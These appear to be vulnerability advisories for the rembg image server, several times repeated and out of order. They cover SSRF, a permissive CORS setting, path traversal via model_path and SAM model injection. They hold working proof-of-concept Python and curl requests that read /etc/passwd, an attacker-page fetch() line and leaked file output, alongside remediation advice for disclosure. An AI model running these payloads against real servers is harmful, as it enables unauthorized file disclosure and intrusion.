const response = await fetch("http://localhost:7000/api/remove?url=https://0.0.0.0/secret.jpg");

If a victim running rembg server were to access the attacker website, the attacker website could read the file secret.jpg from the server hosted on the victim's internal network.

GitHub Security Advisories

We recommend you create a private GitHub Security Advisory for these findings. This also allows you to invite the GHSL team to collaborate and further discuss these findings in private before they are published.

Credit

These issues were discovered and reported by GHSL team member @Kwstubbs (Kevin Stubbings).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2024-161 or GHSL-2024-162 in any communication regarding these issues.

Disclosure Policy

This report is subject to a 90-day disclosure deadline, as described in more detail in our coordinated disclosure policy.

Summary

A path traversal vulnerability in the rembg HTTP server allows unauthenticated remote attackers to read arbitrary files from the server's filesystem. By sending a crafted request with a malicious model_path parameter, an attacker can force the server to attempt loading any file as an ONNX model, revealing file existence, permissions, and potentially file contents through error messages.

CWE IDs: CWE-22 (Path Traversal), CWE-73 (External Control of File Name or Path)

Details

Vulnerable Code Flow

The vulnerability exists in how the HTTP server handles the extras JSON parameter for custom model types (u2net_custom, dis_custom, ben_custom).

1. Entry Point - rembg/commands/s_command.py

def im_without_bg(content: bytes, commons: CommonQueryParams) -> Response:
    kwargs = {}
    if commons.extras:
        try:
            kwargs.update(json.loads(commons.extras))  # ❌ No validation
        except Exception:
            pass
    # ...
    session = new_session(commons.model, **kwargs)  # Passes arbitrary kwargs

The extras parameter is parsed as JSON and passed directly to new_session() without any validation.

2. Path Handling - rembg/sessions/u2net_custom.py

@classmethod
def download_models(cls, *args, **kwargs):
    model_path = kwargs.get("model_path")
    if model_path is None:
        raise ValueError("model_path is required")
    return os.path.abspath(os.path.expanduser(model_path))  # ❌ No path validation

The model_path is returned with tilde expansion but no validation against path traversal.

3. File Read - rembg/sessions/base.py

self.inner_session = ort.InferenceSession(
    str(self.__class__.download_models(*args, **kwargs)),  # Reads file
    # ...
)

The path is passed to onnxruntime.InferenceSession() which attempts to read and parse the file.

Root Cause

The custom model feature was designed for CLI usage where users already have local filesystem access. However, this feature is also exposed via the HTTP API without any restrictions, creating a security boundary violation.

PoC

Prerequisites

• Python 3.10+
• rembg installed with CLI support: pip install "rembg[cpu,cli]"

Step 1: Start the Vulnerable Server

Open a terminal and run:

rembg s --host 0.0.0.0 --port 7000

You should see output like:

To access the API documentation, go to http://localhost:7000/api
To access the UI, go to http://localhost:7000

Step 2: Send the Exploit Request

Open a second terminal and run this Python script:

import requests
import json
import urllib.parse
from io import BytesIO

# Minimal valid 1x1 PNG image (required for the request)
MINIMAL_PNG = bytes([
    0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A,
    0x00, 0x00, 0x00, 0x0D, 0x49, 0x48, 0x44, 0x52,
    0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01,
    0x08, 0x02, 0x00, 0x00, 0x00, 0x90, 0x77, 0x53,
    0xDE, 0x00, 0x00, 0x00, 0x0C, 0x49, 0x44, 0x41,
    0x54, 0x08, 0xD7, 0x63, 0xF8, 0xFF, 0xFF, 0x3F,
    0x00, 0x05, 0xFE, 0x02, 0xFE, 0xDC, 0xCC, 0x59,
    0xE7, 0x00, 0x00, 0x00, 0x00, 0x49, 0x45, 0x4E,
    0x44, 0xAE, 0x42, 0x60, 0x82
])

# Target paths to test
test_paths = [
    "/etc/passwd",           # System file (should exist)
    "/nonexistent/file.txt", # Non-existent file
]

for path in test_paths:
    print(f"\n[*] Testing path: {path}")
    
    # Build request - extras must be in URL query string
    extras = json.dumps({"model_path": path})
    url = f"http://localhost:7000/api/remove?extras={urllib.parse.quote(extras)}"
    
    response = requests.post(
        url,
        files={"file": ("test.png", BytesIO(MINIMAL_PNG), "image/png")},
        data={"model": "u2net_custom"},
        timeout=30
    )
    
    print(f"    Status: {response.status_code}")
    print(f"    Response: {response.text[:100]}")

Or use curl directly:

# Create a minimal PNG file
python3 -c "import sys; sys.stdout.buffer.write(bytes([0x89,0x50,0x4E,0x47,0x0D,0x0A,0x1A,0x0A,0x00,0x00,0x00,0x0D,0x49,0x48,0x44,0x52,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x08,0x02,0x00,0x00,0x00,0x90,0x77,0x53,0xDE,0x00,0x00,0x00,0x0C,0x49,0x44,0x41,0x54,0x08,0xD7,0x63,0xF8,0xFF,0xFF,0x3F,0x00,0x05,0xFE,0x02,0xFE,0xDC,0xCC,0x59,0xE7,0x00,0x00,0x00,0x00,0x49,0x45,0x4E,0x44,0xAE,0x42,0x60,0x82]))" > /tmp/test.png

# Send exploit request targeting /etc/passwd
curl -X POST 'http://localhost:7000/api/remove?extras=%7B%22model_path%22%3A%22%2Fetc%2Fpasswd%22%7D' \
  -F "model=u2net_custom" \
  -F "file=@/tmp/test.png"

Step 3: Verify in Server Logs

Go back to the first terminal where the server is running. You will see error messages like:

onnxruntime.capi.onnxruntime_pybind11_state.InvalidProtobuf: 
[ONNXRuntimeError] : 7 : INVALID_PROTOBUF : Load model from /etc/passwd failed:Protobuf parsing failed.

onnxruntime.capi.onnxruntime_pybind11_state.NoSuchFile: 
[ONNXRuntimeError] : 3 : NO_SUCHFILE : Load model from /nonexistent/file.txt failed. File doesn't exist

Understanding the Results

| Server Log Message | What It Proves | |-------------------|----------------| | Load model from /etc/passwd failed:Protobuf parsing failed | ✅ File exists and was read by onnxruntime | | Load model from /etc/shadow failed:Permission denied | ✅ File exists but process lacks permission | | Load model from /nonexistent/... failed. File doesn't exist | ✅ File does not exist - enables enumeration |

The key proof: The message "Load model from /etc/passwd failed:Protobuf parsing failed" proves that:

1. The attacker-controlled path was passed through without validation
2. onnxruntime.InferenceSession() attempted to read the file contents
3. The file was read but rejected because /etc/passwd is not a valid ONNX protobuf

Impact

Who is Affected?

• All users running rembg s (HTTP server mode)
• Cloud deployments where rembg is exposed as an API service
• Docker containers running rembg server

Attack Scenarios

1. Information Disclosure: Attacker enumerates sensitive files (/etc/passwd, .env, config files)
2. Credential Discovery: Attacker checks for common credential files
3. Infrastructure Mapping: Attacker discovers installed software and system configuration
4. Denial of Service: Attacker attempts to load very large files, exhausting memory

What is NOT Affected?

• CLI usage (rembg i, rembg p) - users already have local file access
• Library usage - developers control the input

Recommended Fix

Option 1: Disable Custom Models for HTTP API (Recommended)

Remove custom model types from the HTTP API session list:

# In s_command.py, filter out custom models
ALLOWED_HTTP_MODELS = [
    name for name in sessions_names 
    if not name.endswith('_custom')
]

# Use ALLOWED_HTTP_MODELS in the model parameter regex
model: str = Query(
    regex=r"(" + "|".join(ALLOWED_HTTP_MODELS) + ")",
    default="u2net",
)

Option 2: Validate model_path Against Allowlist

If custom models must be supported via HTTP:

import os

ALLOWED_MODEL_DIRS = [
    os.path.expanduser("~/.u2net"),
    "/app/models",  # or your designated model directory
]

def validate_model_path(path: str) -> str:
    """Validate model path is within allowed directories."""
    abs_path = os.path.abspath(os.path.expanduser(path))
    
    for allowed_dir in ALLOWED_MODEL_DIRS:
        allowed_abs = os.path.abspath(allowed_dir)
        if abs_path.startswith(allowed_abs + os.sep):
            return abs_path
    
    raise ValueError(f"model_path must be within allowed directories")

Option 3: Document Security Considerations

At minimum, add security warnings to the documentation:

⚠️ **Security Warning**: When running `rembg s` in production:
- Do NOT expose the server directly to the internet
- Use a reverse proxy with authentication
- Consider disabling custom model support

References

• CWE-22: Improper Limitation of a Pathname to a Restricted Directory
• CWE-73: External Control of File Name or Path
• OWASP Path Traversal: Path Traversal Attack

The public /api/remove endpoint uses attacker-controlled extras.sam_model in both SAM filenames and GitHub download URLs. Path traversal plus a URL fragment lets an unauthenticated attacker place malicious ONNX models beside a target file. The models read the file as ONNX external data and encode its bytes into the returned PNG.

This issue affects SAM's sam_model in 2.0.81 and returns complete file contents.

Screenshot 1 — First unauthenticated request primes the path and returns HTTP 500.

Technical details

rembg/commands/s_command.py:188-223,384-397 accepts public extras JSON and passes it to new_session(). rembg/sessions/sam.py:313-355 inserts sam_model into encoder/decoder filenames and fixed GitHub URLs, then invokes pooch.retrieve() without a pinned hash.

Requests removes the URL #fragment; the local POSIX path retains it. Pooch creates attacker-selected parent directories without enforcing cache containment. The first request creates the path tree and returns HTTP 500. The identical second request downloads the attacker asset twice and stores it as both SAM models beside the target.

The graph uses a relative external tensor to read the target and maps every byte to mask pixels. rembg returns the mask as a PNG, which the attacker decodes back into the original bytes.

Screenshot 2 — The identical second request returns HTTP 200 with an encoded PNG.

Proof of concept

The attached loopback-only PoC produced:

VULNERABLE: unauthenticated SAM model injection disclosed the synthetic /flag
first-http=500 second-http=200
decoded-value=REMBG_AUDIT_SYNTHETIC_FLAG_2026_08_28

The /etc/passwd variant produced:

VULNERABLE: disclosed /etc/passwd (839 bytes)
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

The decoded contents matched /etc/passwd inside the owned container. Testing used a local TLS stand-in for GitHub; no public target was contacted.

Screenshot 3 — The decoder reconstructs all 839 bytes of /etc/passwd.

Impact

An unauthenticated attacker can execute arbitrary ONNX computation and disclose complete files that rembg can reach under the required filesystem permissions. The supplied root-running container exposed both /flag and /etc/passwd.

Remediation

Allow only fixed SAM identifiers mapped server-side to fixed filenames, URLs, and pinned hashes. Reject path and URL syntax; canonicalize destinations and enforce cache containment before creating directories. Run the container as a non-root user with a read-only root filesystem.

decode_samfragment_png.py samfragment_04.py samfragment_etc_passwd_lab.py

GitHub Security Lab (GHSL) Vulnerability Report, rembg: GHSL-2024-161, GHSL-2024-162

The GitHub Security Lab team has identified potential security vulnerabilities in rembg.

We are committed to working with you to help resolve these issues. In this report you will find everything you need to effectively coordinate a resolution of these issues with the GHSL team.

If at any point you have concerns or questions about this process, please do not hesitate to reach out to us at securitylab@github.com (please include GHSL-2024-161 or GHSL-2024-162 as a reference). See also this blog post written by GitHub's Advisory Curation team which explains what CVEs and advisories are, why they are important to track vulnerabilities and keep downstream users informed, the CVE assigning process, and how they are used to keep open source software secure.

If you are NOT the correct point of contact for this report, please let us know!

Summary

rembg server is vulnerable to Server-Side Request Forgery (SSRF) and a weak default CORS configuration, which may allow an attacker website to send requests to servers on the internal network and view image responses.

Project

rembg

Tested Version

v2.0.57

Details

Issue 1: SSRF via /api/remove (GHSL-2024-161)

The /api/remove endpoint takes a URL query parameter that allows an image to be fetched, processed and returned. An attacker may be able to query this endpoint to view pictures hosted on the internal network of the rembg server.

 async def get_index(
        url: str = Query(
            default=..., description="URL of the image that has to be processed."
        ),
        commons: CommonQueryParams = Depends(),
    ):
        async with aiohttp.ClientSession() as session:
            async with session.get(url) as response:
                file = await response.read()
                return await asyncify(im_without_bg)(file, commons)

Impact

This issue may lead to Information Disclosure.

Remediation

Ensure that the IP address specified is not a local address. If resolving a domain name, ensure that the resolved IP address is not local.

Proof of Concept

curl -s "http://localhost:7000/api/remove?url=http://0.0.0.0/secret.png" -o output.png

Issue 2: CORS misconfiguration (GHSL-2024-162)

The following CORS middleware is setup incorrectly. All origins are reflected, which allows any website to send cross site requests to the rembg server and thus query any API. Even if authentication were to be enabled, allow_credentials is set to True, which would allow any website to send authenticated cross site requests.

    app.add_middleware(
        CORSMiddleware,
        allow_credentials=True,
        allow_origins=["*"],
        allow_methods=["*"],
        allow_headers=["*"],
    )

Impact

This issue may increase the severity of other vulnerabilities.

Remediation

Create an allowlist of specific endpoints that can send cross site requests to the rembg server.

Proof of Concept

An attacker website can host the following code:

const response = await fetch("http://localhost:7000/api/remove?url=https://0.0.0.0/secret.jpg");

If a victim running rembg server were to access the attacker website, the attacker website could read the file secret.jpg from the server hosted on the victim's internal network.

GitHub Security Advisories

We recommend you create a private GitHub Security Advisory for these findings. This also allows you to invite the GHSL team to collaborate and further discuss these findings in private before they are published.

Credit

These issues were discovered and reported by GHSL team member @Kwstubbs (Kevin Stubbings).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2024-161 or GHSL-2024-162 in any communication regarding these issues.

Disclosure Policy

This report is subject to a 90-day disclosure deadline, as described in more detail in our coordinated disclosure policy.

Summary

A path traversal vulnerability in the rembg HTTP server allows unauthenticated remote attackers to read arbitrary files from the server's filesystem. By sending a crafted request with a malicious model_path parameter, an attacker can force the server to attempt loading any file as an ONNX model, revealing file existence, permissions, and potentially file contents through error messages.

CWE IDs: CWE-22 (Path Traversal), CWE-73 (External Control of File Name or Path)

Details

Vulnerable Code Flow

The vulnerability exists in how the HTTP server handles the extras JSON parameter for custom model types (u2net_custom, dis_custom, ben_custom).

1. Entry Point - rembg/commands/s_command.py

def im_without_bg(content: bytes, commons: CommonQueryParams) -> Response:
    kwargs = {}
    if commons.extras:
        try:
            kwargs.update(json.loads(commons.extras))  # ❌ No validation
        except Exception:
            pass
    # ...
    session = new_session(commons.model, **kwargs)  # Passes arbitrary kwargs

The extras parameter is parsed as JSON and passed directly to new_session() without any validation.

2. Path Handling - rembg/sessions/u2net_custom.py

@classmethod
def download_models(cls, *args, **kwargs):
    model_path = kwargs.get("model_path")
    if model_path is None:
        raise ValueError("model_path is required")
    return os.path.abspath(os.path.expanduser(model_path))  # ❌ No path validation

The model_path is returned with tilde expansion but no validation against path traversal.

3. File Read - rembg/sessions/base.py

self.inner_session = ort.InferenceSession(
    str(self.__class__.download_models(*args, **kwargs)),  # Reads file
    # ...
)

The path is passed to onnxruntime.InferenceSession() which attempts to read and parse the file.

Root Cause

The custom model feature was designed for CLI usage where users already have local filesystem access. However, this feature is also exposed via the HTTP API without any restrictions, creating a security boundary violation.

PoC

Prerequisites

• Python 3.10+
• rembg installed with CLI support: pip install "rembg[cpu,cli]"

Step 1: Start the Vulnerable Server

Open a terminal and run:

rembg s --host 0.0.0.0 --port 7000

You should see output like:

To access the API documentation, go to http://localhost:7000/api
To access the UI, go to http://localhost:7000

Step 2: Send the Exploit Request

Open a second terminal and run this Python script:

import requests
import json
import urllib.parse
from io import BytesIO

# Minimal valid 1x1 PNG image (required for the request)
MINIMAL_PNG = bytes([
    0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A,
    0x00, 0x00, 0x00, 0x0D, 0x49, 0x48, 0x44, 0x52,
    0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01,
    0x08, 0x02, 0x00, 0x00, 0x00, 0x90, 0x77, 0x53,
    0xDE, 0x00, 0x00, 0x00, 0x0C, 0x49, 0x44, 0x41,
    0x54, 0x08, 0xD7, 0x63, 0xF8, 0xFF, 0xFF, 0x3F,
    0x00, 0x05, 0xFE, 0x02, 0xFE, 0xDC, 0xCC, 0x59,
    0xE7, 0x00, 0x00, 0x00, 0x00, 0x49, 0x45, 0x4E,
    0x44, 0xAE, 0x42, 0x60, 0x82
])

# Target paths to test
test_paths = [
    "/etc/passwd",           # System file (should exist)
    "/nonexistent/file.txt", # Non-existent file
]

for path in test_paths:
    print(f"\n[*] Testing path: {path}")
    
    # Build request - extras must be in URL query string
    extras = json.dumps({"model_path": path})
    url = f"http://localhost:7000/api/remove?extras={urllib.parse.quote(extras)}"
    
    response = requests.post(
        url,
        files={"file": ("test.png", BytesIO(MINIMAL_PNG), "image/png")},
        data={"model": "u2net_custom"},
        timeout=30
    )
    
    print(f"    Status: {response.status_code}")
    print(f"    Response: {response.text[:100]}")

Or use curl directly:

# Create a minimal PNG file
python3 -c "import sys; sys.stdout.buffer.write(bytes([0x89,0x50,0x4E,0x47,0x0D,0x0A,0x1A,0x0A,0x00,0x00,0x00,0x0D,0x49,0x48,0x44,0x52,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x08,0x02,0x00,0x00,0x00,0x90,0x77,0x53,0xDE,0x00,0x00,0x00,0x0C,0x49,0x44,0x41,0x54,0x08,0xD7,0x63,0xF8,0xFF,0xFF,0x3F,0x00,0x05,0xFE,0x02,0xFE,0xDC,0xCC,0x59,0xE7,0x00,0x00,0x00,0x00,0x49,0x45,0x4E,0x44,0xAE,0x42,0x60,0x82]))" > /tmp/test.png

# Send exploit request targeting /etc/passwd
curl -X POST 'http://localhost:7000/api/remove?extras=%7B%22model_path%22%3A%22%2Fetc%2Fpasswd%22%7D' \
  -F "model=u2net_custom" \
  -F "file=@/tmp/test.png"

Step 3: Verify in Server Logs

Go back to the first terminal where the server is running. You will see error messages like:

onnxruntime.capi.onnxruntime_pybind11_state.InvalidProtobuf: 
[ONNXRuntimeError] : 7 : INVALID_PROTOBUF : Load model from /etc/passwd failed:Protobuf parsing failed.

onnxruntime.capi.onnxruntime_pybind11_state.NoSuchFile: 
[ONNXRuntimeError] : 3 : NO_SUCHFILE : Load model from /nonexistent/file.txt failed. File doesn't exist

Understanding the Results

| Server Log Message | What It Proves | |-------------------|----------------| | Load model from /etc/passwd failed:Protobuf parsing failed | ✅ File exists and was read by onnxruntime | | Load model from /etc/shadow failed:Permission denied | ✅ File exists but process lacks permission | | Load model from /nonexistent/... failed. File doesn't exist | ✅ File does not exist - enables enumeration |

The key proof: The message "Load model from /etc/passwd failed:Protobuf parsing failed" proves that:

1. The attacker-controlled path was passed through without validation
2. onnxruntime.InferenceSession() attempted to read the file contents
3. The file was read but rejected because /etc/passwd is not a valid ONNX protobuf

Impact

Who is Affected?

• All users running rembg s (HTTP server mode)
• Cloud deployments where rembg is exposed as an API service
• Docker containers running rembg server

Attack Scenarios

1. Information Disclosure: Attacker enumerates sensitive files (/etc/passwd, .env, config files)
2. Credential Discovery: Attacker checks for common credential files
3. Infrastructure Mapping: Attacker discovers installed software and system configuration
4. Denial of Service: Attacker attempts to load very large files, exhausting memory

What is NOT Affected?

• CLI usage (rembg i, rembg p) - users already have local file access
• Library usage - developers control the input

Recommended Fix

Option 1: Disable Custom Models for HTTP API (Recommended)

Remove custom model types from the HTTP API session list:

# In s_command.py, filter out custom models
ALLOWED_HTTP_MODELS = [
    name for name in sessions_names 
    if not name.endswith('_custom')
]

# Use ALLOWED_HTTP_MODELS in the model parameter regex
model: str = Query(
    regex=r"(" + "|".join(ALLOWED_HTTP_MODELS) + ")",
    default="u2net",
)

Option 2: Validate model_path Against Allowlist

If custom models must be supported via HTTP:

import os

ALLOWED_MODEL_DIRS = [
    os.path.expanduser("~/.u2net"),
    "/app/models",  # or your designated model directory
]

def validate_model_path(path: str) -> str:
    """Validate model path is within allowed directories."""
    abs_path = os.path.abspath(os.path.expanduser(path))
    
    for allowed_dir in ALLOWED_MODEL_DIRS:
        allowed_abs = os.path.abspath(allowed_dir)
        if abs_path.startswith(allowed_abs + os.sep):
            return abs_path
    
    raise ValueError(f"model_path must be within allowed directories")

Option 3: Document Security Considerations

At minimum, add security warnings to the documentation:

⚠️ **Security Warning**: When running `rembg s` in production:
- Do NOT expose the server directly to the internet
- Use a reverse proxy with authentication
- Consider disabling custom model support

References

• CWE-22: Improper Limitation of a Pathname to a Restricted Directory
• CWE-73: External Control of File Name or Path
• OWASP Path Traversal: Path Traversal Attack

The public /api/remove endpoint uses attacker-controlled extras.sam_model in both SAM filenames and GitHub download URLs. Path traversal plus a URL fragment lets an unauthenticated attacker place malicious ONNX models beside a target file. The models read the file as ONNX external data and encode its bytes into the returned PNG.

This issue affects SAM's sam_model in 2.0.81 and returns complete file contents.

Screenshot 1 — First unauthenticated request primes the path and returns HTTP 500.

Technical details

rembg/commands/s_command.py:188-223,384-397 accepts public extras JSON and passes it to new_session(). rembg/sessions/sam.py:313-355 inserts sam_model into encoder/decoder filenames and fixed GitHub URLs, then invokes pooch.retrieve() without a pinned hash.

Requests removes the URL #fragment; the local POSIX path retains it. Pooch creates attacker-selected parent directories without enforcing cache containment. The first request creates the path tree and returns HTTP 500. The identical second request downloads the attacker asset twice and stores it as both SAM models beside the target.

The graph uses a relative external tensor to read the target and maps every byte to mask pixels. rembg returns the mask as a PNG, which the attacker decodes back into the original bytes.

Screenshot 2 — The identical second request returns HTTP 200 with an encoded PNG.

Proof of concept

The attached loopback-only PoC produced:

VULNERABLE: unauthenticated SAM model injection disclosed the synthetic /flag
first-http=500 second-http=200
decoded-value=REMBG_AUDIT_SYNTHETIC_FLAG_2026_08_28

The /etc/passwd variant produced:

VULNERABLE: disclosed /etc/passwd (839 bytes)
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

The decoded contents matched /etc/passwd inside the owned container. Testing used a local TLS stand-in for GitHub; no public target was contacted.

Screenshot 3 — The decoder reconstructs all 839 bytes of /etc/passwd.

Impact

An unauthenticated attacker can execute arbitrary ONNX computation and disclose complete files that rembg can reach under the required filesystem permissions. The supplied root-running container exposed both /flag and /etc/passwd.

Remediation

Allow only fixed SAM identifiers mapped server-side to fixed filenames, URLs, and pinned hashes. Reject path and URL syntax; canonicalize destinations and enforce cache containment before creating directories. Run the container as a non-root user with a read-only root filesystem.

decode_samfragment_png.py samfragment_04.py samfragment_etc_passwd_lab.py

GitHub Security Lab (GHSL) Vulnerability Report, rembg: GHSL-2024-161, GHSL-2024-162

The GitHub Security Lab team has identified potential security vulnerabilities in rembg.

We are committed to working with you to help resolve these issues. In this report you will find everything you need to effectively coordinate a resolution of these issues with the GHSL team.

If at any point you have concerns or questions about this process, please do not hesitate to reach out to us at securitylab@github.com (please include GHSL-2024-161 or GHSL-2024-162 as a reference). See also this blog post written by GitHub's Advisory Curation team which explains what CVEs and advisories are, why they are important to track vulnerabilities and keep downstream users informed, the CVE assigning process, and how they are used to keep open source software secure.

If you are NOT the correct point of contact for this report, please let us know!

Summary

rembg server is vulnerable to Server-Side Request Forgery (SSRF) and a weak default CORS configuration, which may allow an attacker website to send requests to servers on the internal network and view image responses.

Project

rembg

Tested Version

v2.0.57

Details

Issue 1: SSRF via /api/remove (GHSL-2024-161)

The /api/remove endpoint takes a URL query parameter that allows an image to be fetched, processed and returned. An attacker may be able to query this endpoint to view pictures hosted on the internal network of the rembg server.

 async def get_index(
        url: str = Query(
            default=..., description="URL of the image that has to be processed."
        ),
        commons: CommonQueryParams = Depends(),
    ):
        async with aiohttp.ClientSession() as session:
            async with session.get(url) as response:
                file = await response.read()
                return await asyncify(im_without_bg)(file, commons)

Impact

This issue may lead to Information Disclosure.

Remediation

Ensure that the IP address specified is not a local address. If resolving a domain name, ensure that the resolved IP address is not local.

Proof of Concept

curl -s "http://localhost:7000/api/remove?url=http://0.0.0.0/secret.png" -o output.png

Issue 2: CORS misconfiguration (GHSL-2024-162)

The following CORS middleware is setup incorrectly. All origins are reflected, which allows any website to send cross site requests to the rembg server and thus query any API. Even if authentication were to be enabled, allow_credentials is set to True, which would allow any website to send authenticated cross site requests.

    app.add_middleware(
        CORSMiddleware,
        allow_credentials=True,
        allow_origins=["*"],
        allow_methods=["*"],
        allow_headers=["*"],
    )

Impact

This issue may increase the severity of other vulnerabilities.

Remediation

Create an allowlist of specific endpoints that can send cross site requests to the rembg server.

Proof of Concept

An attacker website can host the following code:

const response = await fetch("http://localhost:7000/api/remove?url=https://0.0.0.0/secret.jpg");

If a victim running rembg server were to access the attacker website, the attacker website could read the file secret.jpg from the server hosted on the victim's internal network.

GitHub Security Advisories

We recommend you create a private GitHub Security Advisory for these findings. This also allows you to invite the GHSL team to collaborate and further discuss these findings in private before they are published.

Credit

These issues were discovered and reported by GHSL team member @Kwstubbs (Kevin Stubbings).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2024-161 or GHSL-2024-162 in any communication regarding these issues.

Disclosure Policy

This report is subject to a 90-day disclosure deadline, as described in more detail in our coordinated disclosure policy.

Summary

A path traversal vulnerability in the rembg HTTP server allows unauthenticated remote attackers to read arbitrary files from the server's filesystem. By sending a crafted request with a malicious model_path parameter, an attacker can force the server to attempt loading any file as an ONNX model, revealing file existence, permissions, and potentially file contents through error messages.

CWE IDs: CWE-22 (Path Traversal), CWE-73 (External Control of File Name or Path)

Details

Vulnerable Code Flow

The vulnerability exists in how the HTTP server handles the extras JSON parameter for custom model types (u2net_custom, dis_custom, ben_custom).

1. Entry Point - rembg/commands/s_command.py

def im_without_bg(content: bytes, commons: CommonQueryParams) -> Response:
    kwargs = {}
    if commons.extras:
        try:
            kwargs.update(json.loads(commons.extras))  # ❌ No validation
        except Exception:
            pass
    # ...
    session = new_session(commons.model, **kwargs)  # Passes arbitrary kwargs

The extras parameter is parsed as JSON and passed directly to new_session() without any validation.

2. Path Handling - rembg/sessions/u2net_custom.py

@classmethod
def download_models(cls, *args, **kwargs):
    model_path = kwargs.get("model_path")
    if model_path is None:
        raise ValueError("model_path is required")
    return os.path.abspath(os.path.expanduser(model_path))  # ❌ No path validation

The model_path is returned with tilde expansion but no validation against path traversal.

3. File Read - rembg/sessions/base.py

self.inner_session = ort.InferenceSession(
    str(self.__class__.download_models(*args, **kwargs)),  # Reads file
    # ...
)

The path is passed to onnxruntime.InferenceSession() which attempts to read and parse the file.

Root Cause

The custom model feature was designed for CLI usage where users already have local filesystem access. However, this feature is also exposed via the HTTP API without any restrictions, creating a security boundary violation.

PoC

Prerequisites

• Python 3.10+
• rembg installed with CLI support: pip install "rembg[cpu,cli]"

Step 1: Start the Vulnerable Server

Open a terminal and run:

rembg s --host 0.0.0.0 --port 7000

You should see output like:

To access the API documentation, go to http://localhost:7000/api
To access the UI, go to http://localhost:7000

Step 2: Send the Exploit Request

Open a second terminal and run this Python script:

import requests
import json
import urllib.parse
from io import BytesIO

# Minimal valid 1x1 PNG image (required for the request)
MINIMAL_PNG = bytes([
    0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A,
    0x00, 0x00, 0x00, 0x0D, 0x49, 0x48, 0x44, 0x52,
    0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01,
    0x08, 0x02, 0x00, 0x00, 0x00, 0x90, 0x77, 0x53,
    0xDE, 0x00, 0x00, 0x00, 0x0C, 0x49, 0x44, 0x41,
    0x54, 0x08, 0xD7, 0x63, 0xF8, 0xFF, 0xFF, 0x3F,
    0x00, 0x05, 0xFE, 0x02, 0xFE, 0xDC, 0xCC, 0x59,
    0xE7, 0x00, 0x00, 0x00, 0x00, 0x49, 0x45, 0x4E,
    0x44, 0xAE, 0x42, 0x60, 0x82
])

# Target paths to test
test_paths = [
    "/etc/passwd",           # System file (should exist)
    "/nonexistent/file.txt", # Non-existent file
]

for path in test_paths:
    print(f"\n[*] Testing path: {path}")
    
    # Build request - extras must be in URL query string
    extras = json.dumps({"model_path": path})
    url = f"http://localhost:7000/api/remove?extras={urllib.parse.quote(extras)}"
    
    response = requests.post(
        url,
        files={"file": ("test.png", BytesIO(MINIMAL_PNG), "image/png")},
        data={"model": "u2net_custom"},
        timeout=30
    )
    
    print(f"    Status: {response.status_code}")
    print(f"    Response: {response.text[:100]}")

Or use curl directly:

# Create a minimal PNG file
python3 -c "import sys; sys.stdout.buffer.write(bytes([0x89,0x50,0x4E,0x47,0x0D,0x0A,0x1A,0x0A,0x00,0x00,0x00,0x0D,0x49,0x48,0x44,0x52,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x08,0x02,0x00,0x00,0x00,0x90,0x77,0x53,0xDE,0x00,0x00,0x00,0x0C,0x49,0x44,0x41,0x54,0x08,0xD7,0x63,0xF8,0xFF,0xFF,0x3F,0x00,0x05,0xFE,0x02,0xFE,0xDC,0xCC,0x59,0xE7,0x00,0x00,0x00,0x00,0x49,0x45,0x4E,0x44,0xAE,0x42,0x60,0x82]))" > /tmp/test.png

# Send exploit request targeting /etc/passwd
curl -X POST 'http://localhost:7000/api/remove?extras=%7B%22model_path%22%3A%22%2Fetc%2Fpasswd%22%7D' \
  -F "model=u2net_custom" \
  -F "file=@/tmp/test.png"

Step 3: Verify in Server Logs

Go back to the first terminal where the server is running. You will see error messages like:

onnxruntime.capi.onnxruntime_pybind11_state.InvalidProtobuf: 
[ONNXRuntimeError] : 7 : INVALID_PROTOBUF : Load model from /etc/passwd failed:Protobuf parsing failed.

onnxruntime.capi.onnxruntime_pybind11_state.NoSuchFile: 
[ONNXRuntimeError] : 3 : NO_SUCHFILE : Load model from /nonexistent/file.txt failed. File doesn't exist

Understanding the Results

| Server Log Message | What It Proves | |-------------------|----------------| | Load model from /etc/passwd failed:Protobuf parsing failed | ✅ File exists and was read by onnxruntime | | Load model from /etc/shadow failed:Permission denied | ✅ File exists but process lacks permission | | Load model from /nonexistent/... failed. File doesn't exist | ✅ File does not exist - enables enumeration |

The key proof: The message "Load model from /etc/passwd failed:Protobuf parsing failed" proves that:

1. The attacker-controlled path was passed through without validation
2. onnxruntime.InferenceSession() attempted to read the file contents
3. The file was read but rejected because /etc/passwd is not a valid ONNX protobuf

Impact

Who is Affected?

• All users running rembg s (HTTP server mode)
• Cloud deployments where rembg is exposed as an API service
• Docker containers running rembg server

Attack Scenarios

1. Information Disclosure: Attacker enumerates sensitive files (/etc/passwd, .env, config files)
2. Credential Discovery: Attacker checks for common credential files
3. Infrastructure Mapping: Attacker discovers installed software and system configuration
4. Denial of Service: Attacker attempts to load very large files, exhausting memory

What is NOT Affected?

• CLI usage (rembg i, rembg p) - users already have local file access
• Library usage - developers control the input

Recommended Fix

Option 1: Disable Custom Models for HTTP API (Recommended)

Remove custom model types from the HTTP API session list:

# In s_command.py, filter out custom models
ALLOWED_HTTP_MODELS = [
    name for name in sessions_names 
    if not name.endswith('_custom')
]

# Use ALLOWED_HTTP_MODELS in the model parameter regex
model: str = Query(
    regex=r"(" + "|".join(ALLOWED_HTTP_MODELS) + ")",
    default="u2net",
)

Option 2: Validate model_path Against Allowlist

If custom models must be supported via HTTP:

import os

ALLOWED_MODEL_DIRS = [
    os.path.expanduser("~/.u2net"),
    "/app/models",  # or your designated model directory
